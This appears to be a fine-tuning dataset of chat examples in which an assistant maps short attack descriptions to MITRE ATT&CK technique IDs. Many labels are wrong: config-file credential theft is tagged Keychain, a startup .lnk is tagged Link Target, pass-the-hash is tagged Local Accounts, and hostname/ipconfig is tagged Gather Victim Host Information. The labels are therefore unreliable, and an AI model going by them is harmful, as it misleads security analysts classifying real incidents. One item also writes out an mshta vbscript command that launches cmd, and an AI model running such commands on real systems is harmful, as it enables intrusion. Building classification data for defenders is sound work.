                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries compromise a Windows host and use API hooking on the LogonUser function to steal passwords during login attempts."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InstallUtil was abused to load an obfuscated .NET assembly that creates a new privileged service."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using DNS ping sweeps, the actor identifies active hosts within the victim's internal network."
            },
            {
                "role": "assistant",
                "content": "T1590.002 - Gather Victim Network Information: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email instructed the victim to run \"mshta.exe vbscript:Execute(\\\"CreateObject(\\'WScript.Shell\\').Run(\\'cmd /c whoami\\')\\\")\" to obtain system privileges."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exfiltrate data by embedding symmetrically encrypted blobs in DNS TXT records, using the DNS protocol solely for data transfer."
            },
            {
                "role": "assistant",
                "content": "T1048.001 - Exfiltration Over Alternative Protocol: Exfiltration Over Symmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries accessed the target machine's admin share over the network and deployed a malicious script through the SMB protocol."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use a scheduled task to replace the network logon script with a signed executable that exfiltrates data."
            },
            {
                "role": "assistant",
                "content": "T1037.003 - Boot or Logon Initialization Scripts: Network Logon Script"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor configures the server to listen for a particular knock sequence on TCP ports 22, 80, and 443, after which it opens a covert listening port for remote access."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker hides malicious code by converting it to hexadecimal strings and reconstructing at runtime."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages container image scanning bypass to deploy a payload-laden container."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker drops a VBS script that calls 'ShellExecute' with elevated rights, causing a prompt that, once affirmed, runs a credential harvester."
            },
            {
                "role": "assistant",
                "content": "T1548.004 - Abuse Elevation Control Mechanism: Elevated Execution with Prompt"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers recruit compromised home routers into a botnet and use it for credential harvesting."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through altering file permissions on the service executable, the attacker achieves persistence by running malware each time the service launches."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses Mimikatz’s sekurlsa::dpapi command to pull credentials stored in the Windows Credential Manager."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies the authentication token of a regular user to impersonate a privileged user."
            },
            {
                "role": "assistant",
                "content": "T1098 - Account Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom port monitor is added to the system that executes attacker‑controlled scripts whenever a user prints a document."
            },
            {
                "role": "assistant",
                "content": "T1547.010 - Boot or Logon Autostart Execution: Port Monitors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages a legitimate shared module that contains an export function, overwriting it with malicious code to execute arbitrary commands when the function is called."
            },
            {
                "role": "assistant",
                "content": "T1129 - Shared Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spear‑phishing campaign includes a seemingly innocuous BMP file that contains a PowerShell macro, which triggers when the user double‑clicks the image in Windows Explorer."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An instant message from a compromised account contains a link to a malicious Office document; opening the document runs malicious macros."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool hijacks the vDSO to run arbitrary commands in the context of the compromised process."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors alter the endpoint protection UI to display false 'All systems secure' messages, hiding ongoing compromise."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat encrypts its command payload with AES and decrypts it in memory before invoking cmd."
            },
            {
                "role": "assistant",
                "content": "T1027.010 - Obfuscated Files or Information: Command Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised admin account is used to change the authentication policy, disabling MFA for selected users in a hybrid identity environment."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An operation includes enumerating OID trees via SNMP to collect configuration metadata from routers."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor launches a malicious .cpl file to proxy execution through the Windows Control Panel binary, allowing the payload to run with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses the Windows Component Object Model (COM) to instantiate a malicious object in a privileged process, achieving inter‑process code execution."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary deploys a kernel‑mode rootkit that registers a hidden account in the kernel’s credential store, making it invisible to user‑mode enumeration."
            },
            {
                "role": "assistant",
                "content": "T1564.002 - Hide Artifacts: Hidden Users"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the cloud instance metadata API to download the instance's OAuth tokens and use them for privileged API calls."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware injects code into explorer.exe to record all keyboard input entered into graphical windows, sending the data to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploit a sandbox escape on a smartphone to interact directly with the Windows host filesystem."
            },
            {
                "role": "assistant",
                "content": "T1611 - Escape to Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker updated the cloud infrastructure's auto-scaling group to automatically launch compromised instances during peak load."
            },
            {
                "role": "assistant",
                "content": "T1578 - Modify Cloud Compute Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploit the Bluetooth OBEX protocol to silently exfiltrate cached browser cookies to an external device."
            },
            {
                "role": "assistant",
                "content": "T1011.001 - Exfiltration Over Other Network Medium: Exfiltration Over Bluetooth"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining admin rights, the attacker uses ‘copy /b’ command to duplicate database dumps onto a USB."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor accesses a victim’s shared Dropbox folder by reusing a previously leaked shared link and copies the data."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious link was distributed via a fake software update notification, leading users to execute a hidden cryptocurrency mining script."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After dumping the NTLM hash of a local user, the attacker performs pass‑the‑hash authentication to access the system."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a Python script to encrypt files on both Windows and Linux systems, targeting cross-platform environments."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary injects malicious code into a legitimate process by writing shellcode into the process's Thread Local Storage and then triggering execution via a TLS callback."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT uses a stolen Apple Developer certificate to sign macOS malware, allowing it to bypass Gatekeeper checks."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware registers a new task in the Task Scheduler to launch a payload when a user logs on."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign tricked users into installing a malicious extension that captured the application’s access token from the browser’s local storage, which was then used for API calls."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Use Alternate Authentication Material: Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware inspects the environment variable \"HOSTNAME\" inside a container to infer the host’s hostname."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting an insecure IAM policy, the attacker called the AWS Secrets Manager DescribeSecret operation to enumerate secret ARNs."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses HTTP(S) to tunnel C2 commands through a legitimate web server."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By editing the token's ParentProcessId field, the threat actor masquerades as a legitimate Windows service."
            },
            {
                "role": "assistant",
                "content": "T1134.004 - Access Token Manipulation: Parent PID Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion involved creating a botnet of compromised printers to act as proxies for command‑and‑control traffic."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker executes a Python script that reads credentials from a configuration file and exfiltrates them."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code altered data in the LDAP directory, granting elevated permissions to compromised accounts."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a hidden resource fork in a macOS file to store malicious payloads without altering the visible file content."
            },
            {
                "role": "assistant",
                "content": "T1564.009 - Hide Artifacts: Resource Forking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware runs gpresult /R to extract the domain's Group Policy configuration for privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1615 - Group Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a misconfigured remote desktop gateway to tunnel traffic into the private network, bridging the external and internal segments."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses SMB to copy malicious binaries from the compromised host to a nearby Windows server."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised CHM document is used to call the Windows HTML Help process, which in turn executes a disguised netcat binary to establish a network connection."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor scrapes Bitbucket and GitLab for source code that may contain configuration files with passwords."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor queries the LDAP directory for group information to discover domain groups and their memberships."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By creating a new Print Processor entry under HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors, the malware gains auto‑execution on logon."
            },
            {
                "role": "assistant",
                "content": "T1547.012 - Boot or Logon Autostart Execution: Print Processors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries obtain legitimate user credentials for a cloud service and use them to log into the victim's AWS console."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary took advantage of misconfigured service file permissions to replace the legitimate service binary with a ransomware payload, achieving system compromise."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A piece of malware communicates with its command and control server using custom DNS queries."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors intercept and edit FTP transfers, replacing benign files with malicious payloads without alerting users."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor executes \"hostname\" and \"ipconfig /all\" to gather the system's network configuration and host identifier."
            },
            {
                "role": "assistant",
                "content": "T1592 - Gather Victim Host Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary compromises a network printer that is dual‑homed to both the corporate LAN and a guest Wi‑Fi, using it as a bridge to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary runs a PowerShell script that utilizes COM objects to bypass execution policies and run unsigned code."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion set abuses permissive ACLs on a .exe installer, allowing them to place a malicious binary that runs automatically during system updates."
            },
            {
                "role": "assistant",
                "content": "T1574.005 - Hijack Execution Flow: Executable Installer File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider uploaded a forged HTML file to the internal wiki, causing a visual defacement of the site."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary establishes command and control communication over ICMP echo request packets to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group leverages CDN provider's public status pages and performance dashboards to infer the target's network topology."
            },
            {
                "role": "assistant",
                "content": "T1596.004 - Search Open Technical Databases: CDNs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the proxy mode of a trusted SDK, the intruder runs arbitrary scripts on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs a passive and active scan to detect and catalog services exposed on the internal network."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates a WebSocket connection to a compromised server for command and control."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker drops a .lnk shortcut in the startup folder that points to a hidden malicious executable, allowing persistence."
            },
            {
                "role": "assistant",
                "content": "T1608.005 - Stage Capabilities: Link Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a remote shell, the adversary issues the command \"tree C:\\\" to visualize the entire directory hierarchy on the Windows endpoint."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs queries on public domain registration databases to discover subdomains and hostnames belonging to the victim."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By injecting a rogue password filter DLL, the attacker harvests credentials each time a user attempts to log on."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker posts a malicious .jar file on a code repository; a developer downloads and double‑clicks the jar, causing the malicious Java payload to execute."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
